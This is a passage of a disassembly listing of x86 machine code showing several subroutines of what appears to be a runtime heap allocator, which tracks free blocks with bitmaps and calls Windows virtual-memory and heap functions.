[ebp+var_3C] mov ecx, [edx+ecx*4+44h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+44h], ecx jmp short loc_42267B ; --------------------------------------------------------------------------- loc_422614: ; CODE XREF: sub_422240+377j mov ecx, [ebp+var_3C] add ecx, [ebp+var_28] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov [eax+4], cl test edx, edx jnz short loc_422652 mov ecx, [ebp+var_28] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+arg_0] mov ecx, [eax+4] or ecx, edx mov edx, [ebp+arg_0] mov [edx+4], ecx loc_422652: ; CODE XREF: sub_422240+3F5j mov ecx, [ebp+var_28] sub ecx, 20h mov eax, 80000000h shr eax, cl mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+0C4h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+0C4h], ecx loc_42267B: ; CODE XREF: sub_422240+325j ; sub_422240+36Dj ... mov ecx, [ebp+var_1C] mov edx, [ebp+var_30] mov [ecx], edx mov eax, [ebp+var_1C] add eax, [ebp+var_30] mov ecx, [ebp+var_30] mov [eax-4], ecx mov edx, [ebp+var_8] mov eax, [edx] sub eax, 1 mov ecx, [ebp+var_8] mov [ecx], eax mov edx, [ebp+var_8] cmp dword ptr [edx], 0 jnz loc_422809 cmp ds:dword_4EF054, 0 jz loc_4227F8 mov eax, ds:dword_4EF04C shl eax, 0Fh mov ecx, ds:dword_4EF054 mov edx, [ecx+0Ch] add edx, eax mov [ebp+var_18], edx push 4000h push 8000h mov eax, [ebp+var_18] push eax call ds:dword_4F1460 ; VirtualFree mov edx, 80000000h mov ecx, ds:dword_4EF04C shr edx, cl mov eax, ds:dword_4EF054 mov ecx, [eax+8] or ecx, edx mov edx, ds:dword_4EF054 mov [edx+8], ecx mov eax, ds:dword_4EF054 mov ecx, [eax+10h] mov edx, ds:dword_4EF04C mov dword ptr [ecx+edx*4+0C4h], 0 mov eax, ds:dword_4EF054 mov ecx, [eax+10h] mov dl, [ecx+43h] sub dl, 1 mov eax, ds:dword_4EF054 mov ecx, [eax+10h] mov [ecx+43h], dl mov edx, ds:dword_4EF054 mov eax, [edx+10h] movsx ecx, byte ptr [eax+43h] test ecx, ecx jnz short loc_422756 mov edx, ds:dword_4EF054 mov eax, [edx+4] and al, 0FEh mov ecx, ds:dword_4EF054 mov [ecx+4], eax loc_422756: ; CODE XREF: sub_422240+500j mov edx, ds:dword_4EF054 cmp dword ptr [edx+8], 0FFFFFFFFh jnz loc_4227F8 push 8000h push 0 mov eax, ds:dword_4EF054 mov ecx, [eax+0Ch] push ecx call ds:dword_4F1460 ; VirtualFree mov edx, ds:dword_4EF054 mov eax, [edx+10h] push eax push 0 mov ecx, ds:dword_4EF060 push ecx call ds:dword_4F1454 ; RtlFreeHeap mov edx, ds:dword_4EF058 imul edx, 14h mov eax, ds:dword_4EF05C add eax, edx mov ecx, ds:dword_4EF054 add ecx, 14h sub eax, ecx push eax mov edx, ds:dword_4EF054 add edx, 14h push edx mov eax, ds:dword_4EF054 push eax call sub_41F9A0 add esp, 0Ch mov ecx, ds:dword_4EF058 sub ecx, 1 mov ds:dword_4EF058, ecx mov edx, [ebp+arg_0] cmp edx, ds:dword_4EF054 jbe short loc_4227EC mov eax, [ebp+arg_0] sub eax, 14h mov [ebp+arg_0], eax loc_4227EC: ; CODE XREF: sub_422240+5A1j mov ecx, ds:dword_4EF05C mov ds:dword_4EF050, ecx loc_4227F8: ; CODE XREF: sub_422240+46Fj ; sub_422240+520j mov edx, [ebp+arg_0] mov ds:dword_4EF054, edx mov eax, [ebp+var_4] mov ds:dword_4EF04C, eax loc_422809: ; CODE XREF: sub_422240+462j mov esp, ebp pop ebp retn sub_422240 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422810 proc near ; CODE XREF: sub_421BE0+1Dp ; sub_421D10+99p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 38h push esi mov eax, ds:dword_4EF058 imul eax, 14h mov ecx, ds:dword_4EF05C add ecx, eax mov [ebp+var_2C], ecx mov edx, [ebp+arg_0] add edx, 17h and edx, 0FFFFFFF0h mov [ebp+var_28], edx mov eax, [ebp+var_28] sar eax, 4 sub eax, 1 mov [ebp+var_20], eax cmp [ebp+var_20], 20h jge short loc_42285C or edx, 0FFFFFFFFh mov ecx, [ebp+var_20] shr edx, cl mov [ebp+var_24], edx mov [ebp+var_34], 0FFFFFFFFh jmp short loc_422871 ; --------------------------------------------------------------------------- loc_42285C: ; CODE XREF: sub_422810+36j mov [ebp+var_24], 0 mov ecx, [ebp+var_20] sub ecx, 20h or eax, 0FFFFFFFFh shr eax, cl mov [ebp+var_34], eax loc_422871: ; CODE XREF: sub_422810+4Aj mov ecx, ds:dword_4EF050 mov [ebp+var_18], ecx loc_42287A: ; CODE XREF: sub_422810+94j mov edx, [ebp+var_18] cmp edx, [ebp+var_2C] jnb short loc_4228A6 mov eax, [ebp+var_18] mov ecx, [ebp+var_24] and ecx, [eax] mov edx, [ebp+var_18] mov eax, [ebp+var_34] and eax, [edx+4] or ecx, eax test ecx, ecx jz short loc_42289B jmp short loc_4228A6 ; --------------------------------------------------------------------------- loc_42289B: ; CODE XREF: sub_422810+87j mov ecx, [ebp+var_18] add ecx, 14h mov [ebp+var_18], ecx jmp short loc_42287A ; --------------------------------------------------------------------------- loc_4228A6: ; CODE XREF: sub_422810+70j ; sub_422810+89j mov edx, [ebp+var_18] cmp edx, [ebp+var_2C] jnz loc_42298D mov eax, ds:dword_4EF05C mov [ebp+var_18], eax loc_4228BA: ; CODE XREF: sub_422810+D7j mov ecx, [ebp+var_18] cmp ecx, ds:dword_4EF050 jnb short loc_4228E9 mov edx, [ebp+var_18] mov eax, [ebp+var_24] and eax, [edx] mov ecx, [ebp+var_18] mov edx, [ebp+var_34] and edx, [ecx+4] or eax, edx test eax, eax jz short loc_4228DE jmp short loc_4228E9 ; --------------------------------------------------------------------------- loc_4228DE: ; CODE XREF: sub_422810+CAj mov eax, [ebp+var_18] add eax, 14h mov [ebp+var_18], eax jmp short loc_4228BA ; --------------------------------------------------------------------------- loc_4228E9: ; CODE XREF: sub_422810+B3j ; sub_422810+CCj mov ecx, [ebp+var_18] cmp ecx, ds:dword_4EF050 jnz loc_42298D loc_4228F8: ; CODE XREF: sub_422810+104j mov edx, [ebp+var_18] cmp edx, [ebp+var_2C] jnb short loc_422916 mov eax, [ebp+var_18] cmp dword ptr [eax+8], 0 jz short loc_42290B jmp short loc_422916 ; --------------------------------------------------------------------------- loc_42290B: ; CODE XREF: sub_422810+F7j mov ecx, [ebp+var_18] add ecx, 14h mov [ebp+var_18], ecx jmp short loc_4228F8 ; --------------------------------------------------------------------------- loc_422916: ; CODE XREF: sub_422810+EEj ; sub_422810+F9j mov edx, [ebp+var_18] cmp edx, [ebp+var_2C] jnz short loc_422967 mov eax, ds:dword_4EF05C mov [ebp+var_18], eax loc_422926: ; CODE XREF: sub_422810+135j mov ecx, [ebp+var_18] cmp ecx, ds:dword_4EF050 jnb short loc_422947 mov edx, [ebp+var_18] cmp dword ptr [edx+8], 0 jz short loc_42293C jmp short loc_422947 ; --------------------------------------------------------------------------- loc_42293C: ; CODE XREF: sub_422810+128j mov eax, [ebp+var_18] add eax, 14h mov [ebp+var_18], eax jmp short loc_422926 ; --------------------------------------------------------------------------- loc_422947: ; CODE XREF: sub_422810+11Fj ; sub_422810+12Aj mov ecx, [ebp+var_18] cmp ecx, ds:dword_4EF050 jnz short loc_422967 call sub_422D50 mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_422967 xor eax, eax jmp loc_422D41 ; --------------------------------------------------------------------------- loc_422967: ; CODE XREF: sub_422810+10Cj ; sub_422810+140j ... mov edx, [ebp+var_18] push edx call sub_422E60 add esp, 4 mov ecx, [ebp+var_18] mov edx, [ecx+10h] mov [edx], eax mov eax, [ebp+var_18] mov ecx, [eax+10h] cmp dword ptr [ecx], 0FFFFFFFFh jnz short loc_42298D xor eax, eax jmp loc_422D41 ; --------------------------------------------------------------------------- loc_42298D: ; CODE XREF: sub_422810+9Cj ; sub_422810+E2j ... mov edx, [ebp+var_18] mov ds:dword_4EF050, edx mov eax, [ebp+var_18] mov ecx, [eax+10h] mov [ebp+var_38], ecx mov edx, [ebp+var_38] mov eax, [edx] mov [ebp+var_30], eax cmp [ebp+var_30], 0FFFFFFFFh jz short loc_4229D0 mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov eax, [ebp+var_24] and eax, [edx+ecx*4+44h] mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov esi, [ebp+var_34] and esi, [edx+ecx*4+0C4h] or eax, esi test eax, eax jnz short loc_422A05 loc_4229D0: ; CODE XREF: sub_422810+19Bj mov [ebp+var_30], 0 loc_4229D7: ; CODE XREF: sub_422810+1F3j mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov edx, [ebp+var_24] and edx, [ecx+eax*4+44h] mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov esi, [ebp+var_34] and esi, [ecx+eax*4+0C4h] or edx, esi test edx, edx jnz short loc_422A05 mov edx, [ebp+var_30] add edx, 1 mov [ebp+var_30], edx jmp short loc_4229D7 ; --------------------------------------------------------------------------- loc_422A05: ; CODE XREF: sub_422810+1BEj ; sub_422810+1E8j mov eax, [ebp+var_30] imul eax, 204h mov ecx, [ebp+var_38] lea edx, [ecx+eax+144h] mov [ebp+var_4], edx mov [ebp+var_20], 0 mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov edx, [ebp+var_24] and edx, [ecx+eax*4+44h] mov [ebp+var_1C], edx cmp [ebp+var_1C], 0 jnz short loc_422A52 mov [ebp+var_20], 20h mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov edx, [ebp+var_34] and edx, [ecx+eax*4+0C4h] mov [ebp+var_1C], edx loc_422A52: ; CODE XREF: sub_422810+226j ; sub_422810+259j cmp [ebp+var_1C], 0 jl short loc_422A6B mov eax, [ebp+var_1C] shl eax, 1 mov [ebp+var_1C], eax mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx jmp short loc_422A52 ; --------------------------------------------------------------------------- loc_422A6B: ; CODE XREF: sub_422810+246j mov edx, [ebp+var_20] mov eax, [ebp+var_4] mov ecx, [eax+edx*8+4] mov [ebp+var_10], ecx mov edx, [ebp+var_10] mov eax, [edx] sub eax, [ebp+var_28] mov [ebp+var_8], eax mov ecx, [ebp+var_8] sar ecx, 4 sub ecx, 1 mov [ebp+var_14], ecx cmp [ebp+var_14], 3Fh jle short loc_422A9C mov [ebp+var_14], 3Fh loc_422A9C: ; CODE XREF: sub_422810+283j mov edx, [ebp+var_14] cmp edx, [ebp+var_20] jz loc_422CC0 mov eax, [ebp+var_10] mov ecx, [ebp+var_10] mov edx, [eax+4] cmp edx, [ecx+8] jnz loc_422B8A cmp [ebp+var_20], 20h jge short loc_422B1F mov eax, 80000000h mov ecx, [ebp+var_20] shr eax, cl not eax mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov ecx, [edx+ecx*4+44h] and ecx, eax mov edx, [ebp+var_30] mov eax, [ebp+var_38] mov [eax+edx*4+44h], ecx mov ecx, [ebp+var_38] add ecx, [ebp+var_20] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_38] add eax, [ebp+var_20] mov [eax+4], dl mov ecx, [ebp+var_38] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_422B1D mov eax, 80000000h mov ecx, [ebp+var_20] shr eax, cl not eax mov ecx, [ebp+var_18] mov edx, [ecx] and edx, eax mov eax, [ebp+var_18] mov [eax], edx loc_422B1D: ; CODE XREF: sub_422810+2F3j jmp short loc_422B8A ; --------------------------------------------------------------------------- loc_422B1F: ; CODE XREF: sub_422810+2AEj mov ecx, [ebp+var_20] sub ecx, 20h mov edx, 80000000h shr edx, cl not edx mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov eax, [ecx+eax*4+0C4h] and eax, edx mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov [edx+ecx*4+0C4h], eax mov eax, [ebp+var_38] add eax, [ebp+var_20] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_38] add edx, [ebp+var_20] mov [edx+4], cl mov eax, [ebp+var_38] add eax, [ebp+var_20] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_422B8A mov ecx, [ebp+var_20] sub ecx, 20h mov edx, 80000000h shr edx, cl not edx mov eax, [ebp+var_18] mov ecx, [eax+4] and ecx, edx mov edx, [ebp+var_18] mov [edx+4], ecx loc_422B8A: ; CODE XREF: sub_422810+2A4j ; sub_422810:loc_422B1Dj ... mov eax, [ebp+var_10] mov ecx, [eax+8] mov edx, [ebp+var_10] mov eax, [edx+4] mov [ecx+4], eax mov ecx, [ebp+var_10] mov edx, [ecx+4] mov eax, [ebp+var_10] mov ecx, [eax+8] mov [edx+8], ecx cmp [ebp+var_8], 0 jz loc_422CC0 mov edx, [ebp+var_14] mov eax, [ebp+var_4] lea ecx, [eax+edx*8] mov [ebp+var_C], ecx mov edx, [ebp+var_10] mov eax, [ebp+var_C] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_10] mov eax, [ebp+var_C] mov [edx+8], eax mov ecx, [ebp+var_C] mov edx, [ebp+var_10] mov [ecx+4], edx mov eax, [ebp+var_10] mov ecx, [eax+4] mov edx, [ebp+var_10] mov [ecx+8], edx mov eax, [ebp+var_10] mov ecx, [ebp+var_10] mov edx, [eax+4] cmp edx, [ecx+8] jnz loc_422CC0 cmp [ebp+var_14], 20h jge short loc_422C5A mov eax, [ebp+var_38] add eax, [ebp+var_14] movsx ecx, byte ptr [eax+4] mov edx, [ebp+var_38] add edx, [ebp+var_14] mov al, [edx+4] add al, 1 mov edx, [ebp+var_38] add edx, [ebp+var_14] mov [edx+4], al test ecx, ecx jnz short loc_422C38 mov eax, 80000000h mov ecx, [ebp+var_14] shr eax, cl mov ecx, [ebp+var_18] mov edx, [ecx] or edx, eax mov eax, [ebp+var_18] mov [eax], edx loc_422C38: ; CODE XREF: sub_422810+410j mov edx, 80000000h mov ecx, [ebp+var_14] shr edx, cl mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov eax, [ecx+eax*4+44h] or eax, edx mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov [edx+ecx*4+44h], eax jmp short loc_422CC0 ; --------------------------------------------------------------------------- loc_422C5A: ; CODE XREF: sub_422810+3EEj mov eax, [ebp+var_38] add eax, [ebp+var_14] movsx ecx, byte ptr [eax+4] mov edx, [ebp+var_38] add edx, [ebp+var_14] mov al, [edx+4] add al, 1 mov edx, [ebp+var_38] add edx, [ebp+var_14] mov [edx+4], al test ecx, ecx jnz short loc_422C97 mov ecx, [ebp+var_14] sub ecx, 20h mov eax, 80000000h shr eax, cl mov ecx, [ebp+var_18] mov edx, [ecx+4] or edx, eax mov eax, [ebp+var_18] mov [eax+4], edx loc_422C97: ; CODE XREF: sub_422810+46Aj mov ecx, [ebp+var_14] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov eax, [ecx+eax*4+0C4h] or eax, edx mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov [edx+ecx*4+0C4h], eax loc_422CC0: ; CODE XREF: sub_422810+292j ; sub_422810+39Cj ... cmp [ebp+var_8], 0 jz short loc_422CDA mov eax, [ebp+var_10] mov ecx, [ebp+var_8] mov [eax], ecx mov edx, [ebp+var_10] add edx, [ebp+var_8] mov eax, [ebp+var_8] mov [edx-4], eax loc_422CDA: ; CODE XREF: sub_422810+4B4j mov ecx, [ebp+var_10] add ecx, [ebp+var_8] mov [ebp+var_10], ecx mov edx, [ebp+var_28] add edx, 1 mov eax, [ebp+var_10] mov [eax], edx mov ecx, [ebp+var_28] add ecx, 1 mov edx, [ebp+var_10] add edx, [ebp+var_28] mov [edx-4], ecx mov eax, [ebp+var_4] mov ecx, [eax] mov edx, [ebp+var_4] mov eax, [edx] add eax, 1 mov edx, [ebp+var_4] mov [edx], eax test ecx, ecx jnz short loc_422D33 mov eax, [ebp+var_18] cmp eax, ds:dword_4EF054 jnz short loc_422D33 mov ecx, [ebp+var_30] cmp ecx, ds:dword_4EF04C jnz short loc_422D33 mov ds:dword_4EF054, 0 loc_422D33: ; CODE XREF: sub_422810+501j ; sub_422810+50Cj ... mov edx, [ebp+var_38] mov eax, [ebp+var_30] mov [edx], eax mov eax, [ebp+var_10] add eax, 4 loc_422D41: ; CODE XREF: sub_422810+152j ; sub_422810+178j pop esi mov esp, ebp pop ebp retn sub_422810 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422D50 proc near ; CODE XREF: sub_422810+142p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov eax, ds:dword_4EF058 cmp eax, ds:dword_4EF048 jnz short loc_422DAB mov ecx, ds:dword_4EF048 add ecx, 10h imul ecx, 14h push ecx mov edx, ds:dword_4EF05C push edx push 0 mov eax, ds:dword_4EF060 push eax call ds:dword_4F1450 ; RtlReAllocateHeap mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_422D93 xor eax, eax jmp loc_422E5B ; --------------------------------------------------------------------------- loc_422D93: ; CODE XREF: sub_422D50+3Aj mov ecx, [ebp+var_4] mov ds:dword_4EF05C, ecx mov edx, ds:dword_4EF048 add edx, 10h mov ds:dword_4EF048, edx loc_422DAB: ; CODE XREF: sub_422D50+Fj mov eax, ds:dword_4EF058 imul eax, 14h mov ecx, ds:dword_4EF05C add ecx, eax mov [ebp+var_4], ecx push 41C4h push 8 mov edx, ds:dword_4EF060 push edx call ds:dword_4F144C ; RtlAllocateHeap mov ecx, [ebp+var_4] mov [ecx+10h], eax mov edx, [ebp+var_4] cmp dword ptr [edx+10h], 0 jnz short loc_422DE5 xor eax, eax jmp short loc_422E5B ; --------------------------------------------------------------------------- loc_422DE5: ; CODE XREF: sub_422D50+8Fj push 4 push 2000h push 100000h push 0 call ds:dword_4F1464 ; VirtualAlloc mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov edx, [ebp+var_4] cmp dword ptr [edx+0Ch], 0 jnz short loc_422E22 mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx push 0 mov edx, ds:dword_4EF060 push edx call ds:dword_4F1454 ; RtlFreeHeap xor eax, eax jmp short loc_422E5B ; --------------------------------------------------------------------------- loc_422E22: ; CODE XREF: sub_422D50+B6j mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0 mov edx, [ebp+var_4] mov dword ptr [edx+8], 0FFFFFFFFh mov eax, ds:dword_4EF058 add eax, 1 mov ds:dword_4EF058, eax mov ecx, [ebp+var_4] mov edx, [ecx+10h] mov dword ptr [edx], 0FFFFFFFFh mov eax, [ebp+var_4] loc_422E5B: ; CODE XREF: sub_422D50+3Ej ; sub_422D50+93j ... mov esp, ebp pop ebp retn sub_422D50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422E60 proc near ; CODE XREF: sub_422810+15Bp var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2Ch mov eax, [ebp+arg_0] mov ecx, [eax+10h] mov [ebp+var_2C], ecx mov edx, [ebp+arg_0] mov eax, [edx+8] mov [ebp+var_8], eax mov [ebp+var_28], 0 loc_422E7F: ; CODE XREF: sub_422E60+36j cmp [ebp+var_8], 0 jl short loc_422E98 mov ecx, [ebp+var_8] shl ecx, 1 mov [ebp+var_8], ecx mov edx, [ebp+var_28] add edx, 1 mov [ebp+var_28], edx jmp short loc_422E7F ; --------------------------------------------------------------------------- loc_422E98: ; CODE XREF: sub_422E60+23j mov eax, [ebp+var_28] imul eax, 204h mov ecx, [ebp+var_2C] lea edx, [ecx+eax+144h] mov [ebp+var_C], edx mov [ebp+var_20], 0 jmp short loc_422EC0 ; --------------------------------------------------------------------------- loc_422EB7: ; CODE XREF: sub_422E60+84j mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax loc_422EC0: ; CODE XREF: sub_422E60+55j cmp [ebp+var_20], 3Fh jge short loc_422EE6 mov ecx, [ebp+var_20] mov edx, [ebp+var_C] lea eax, [edx+ecx*8] mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov edx, [ebp+var_18] mov [ecx+8], edx mov eax, [ebp+var_18] mov ecx, [ebp+var_18] mov [eax+4], ecx jmp short loc_422EB7 ; --------------------------------------------------------------------------- loc_422EE6: ; CODE XREF: sub_422E60+64j mov edx, [ebp+var_28] shl edx, 0Fh mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] add ecx, edx mov [ebp+var_10], ecx push 4 push 1000h push 8000h mov edx, [ebp+var_10] push edx call ds:dword_4F1464 ; VirtualAlloc test eax, eax jnz short loc_422F19 or eax, 0FFFFFFFFh jmp loc_42304A ; --------------------------------------------------------------------------- loc_422F19: ; CODE XREF: sub_422E60+AFj mov eax, [ebp+var_10] add eax, 7000h mov [ebp+var_1C], eax mov ecx, [ebp+var_10] mov [ebp+var_4], ecx jmp short loc_422F38 ; --------------------------------------------------------------------------- loc_422F2C: ; CODE XREF: sub_422E60+13Bj mov edx, [ebp+var_4] add edx, 1000h mov [ebp+var_4], edx loc_422F38: ; CODE XREF: sub_422E60+CAj mov eax, [ebp+var_4] cmp eax, [ebp+var_1C] ja short loc_422F9D mov ecx, [ebp+var_4] mov dword ptr [ecx+8], 0FFFFFFFFh mov edx, [ebp+var_4] mov dword ptr [edx+0FFCh], 0FFFFFFFFh mov eax, [ebp+var_4] add eax, 0Ch mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov dword ptr [ecx], 0FF0h mov edx, [ebp+var_18] add edx, 1000h mov eax, [ebp+var_18] mov [eax+4], edx mov ecx, [ebp+var_18] sub ecx, 1000h mov edx, [ebp+var_18] mov [edx+8], ecx mov eax, [ebp+var_18] add eax, 0FECh mov [ebp+var_24], eax mov ecx, [ebp+var_24] mov dword ptr [ecx], 0FF0h jmp short loc_422F2C ; --------------------------------------------------------------------------- loc_422F9D: ; CODE XREF: sub_422E60+DEj mov edx, [ebp+var_C] add edx, 1F8h mov [ebp+var_14], edx mov eax, [ebp+var_10] add eax, 0Ch mov ecx, [ebp+var_14] mov [ecx+4], eax mov edx, [ebp+var_14] mov eax, [edx+4] mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov edx, [ebp+var_14] mov [ecx+8], edx mov eax, [ebp+var_1C] add eax, 0Ch mov ecx, [ebp+var_14] mov [ecx+8], eax mov edx, [ebp+var_14] mov eax, [edx+8] mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov edx, [ebp+var_14] mov [ecx+4], edx mov eax, [ebp+var_28] mov ecx, [ebp+var_2C] mov dword ptr [ecx+eax*4+44h], 0 mov edx, [ebp+var_28] mov eax, [ebp+var_2C] mov dword ptr [eax+edx*4+0C4h], 1 mov ecx, [ebp+var_2C] movsx edx, byte ptr [ecx+43h] mov eax, [ebp+var_2C] mov cl, [eax+43h] add cl, 1 mov eax, [ebp+var_2C] mov [eax+43h], cl test edx, edx jnz short loc_42302D mov ecx, [ebp+arg_0] mov edx, [ecx+4] or edx, 1 mov eax, [ebp+arg_0] mov [eax+4], edx loc_42302D: ; CODE XREF: sub_422E60+1BCj mov edx, 80000000h mov ecx, [ebp+var_28] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, edx mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+var_28] loc_42304A: ; CODE XREF: sub_422E60+B4j mov esp, ebp pop ebp retn sub_422E60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423050 proc near ; CODE XREF: sub_421C60+50p ; sub_421D10+81p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 30h mov eax, [ebp+arg_8] add eax, 17h and al, 0F0h mov [ebp+var_1C], eax mov ecx, [ebp+arg_0] mov edx, [ecx+10h] mov [ebp+var_30], edx mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] sub ecx, [eax+0Ch] mov [ebp+var_C], ecx mov edx, [ebp+var_C] shr edx, 0Fh mov [ebp+var_4], edx mov eax, [ebp+var_4] imul eax, 204h mov ecx, [ebp+var_30] lea edx, [ecx+eax+144h] mov [ebp+var_8], edx mov eax, [ebp+arg_4] sub eax, 4 mov [ebp+var_14], eax mov ecx, [ebp+var_14] mov edx, [ecx] sub edx, 1 mov [ebp+var_28], edx mov eax, [ebp+var_14] add eax, [ebp+var_28] mov [ebp+var_2C], eax mov ecx, [ebp+var_2C] mov edx, [ecx] mov [ebp+var_10], edx mov eax, [ebp+var_1C] cmp eax, [ebp+var_28] jle loc_423376 mov ecx, [ebp+var_10] and ecx, 1 test ecx, ecx jnz short loc_4230DB mov edx, [ebp+var_28] add edx, [ebp+var_10] cmp [ebp+var_1C], edx jle short loc_4230E2 loc_4230DB: ; CODE XREF: sub_423050+7Ej xor eax, eax jmp loc_423637 ; --------------------------------------------------------------------------- loc_4230E2: ; CODE XREF: sub_423050+89j mov eax, [ebp+var_10] sar eax, 4 sub eax, 1 mov [ebp+var_20], eax cmp [ebp+var_20], 3Fh jbe short loc_4230FB mov [ebp+var_20], 3Fh loc_4230FB: ; CODE XREF: sub_423050+A2j mov ecx, [ebp+var_2C] mov edx, [ebp+var_2C] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_4231DD cmp [ebp+var_20], 20h jnb short loc_423172 mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4+44h] and eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov [edx+ecx*4+44h], eax mov eax, [ebp+var_30] add eax, [ebp+var_20] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_30] add edx, [ebp+var_20] mov [edx+4], cl mov eax, [ebp+var_30] add eax, [ebp+var_20] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_423170 mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_423170: ; CODE XREF: sub_423050+106j jmp short loc_4231DD ; --------------------------------------------------------------------------- loc_423172: ; CODE XREF: sub_423050+C1j mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov ecx, [edx+ecx*4+0C4h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_30] mov [eax+edx*4+0C4h], ecx mov ecx, [ebp+var_30] add ecx, [ebp+var_20] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_30] add eax, [ebp+var_20] mov [eax+4], dl mov ecx, [ebp+var_30] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_4231DD mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_4231DD: ; CODE XREF: sub_423050+B7j ; sub_423050:loc_423170j ... mov ecx, [ebp+var_2C] mov edx, [ecx+8] mov eax, [ebp+var_2C] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_2C] mov eax, [edx+4] mov ecx, [ebp+var_2C] mov edx, [ecx+8] mov [eax+8], edx mov eax, [ebp+var_28] add eax, [ebp+var_10] sub eax, [ebp+var_1C] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jle loc_423357 mov ecx, [ebp+var_14] add ecx, [ebp+var_1C] mov [ebp+var_2C], ecx mov edx, [ebp+var_10] sar edx, 4 sub edx, 1 mov [ebp+var_20], edx cmp [ebp+var_20], 3Fh jbe short loc_423233 mov [ebp+var_20], 3Fh loc_423233: ; CODE XREF: sub_423050+1DAj mov eax, [ebp+var_20] mov ecx, [ebp+var_8] lea edx, [ecx+eax*8] mov [ebp+var_18], edx mov eax, [ebp+var_2C] mov ecx, [ebp+var_18] mov edx, [ecx+4] mov [eax+4], edx mov eax, [ebp+var_2C] mov ecx, 